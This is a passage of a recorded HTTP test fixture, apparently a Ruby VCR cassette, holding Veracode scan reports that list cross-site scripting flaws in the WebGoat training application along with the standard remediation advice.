+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:08:56 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:08:59 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:08:59 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
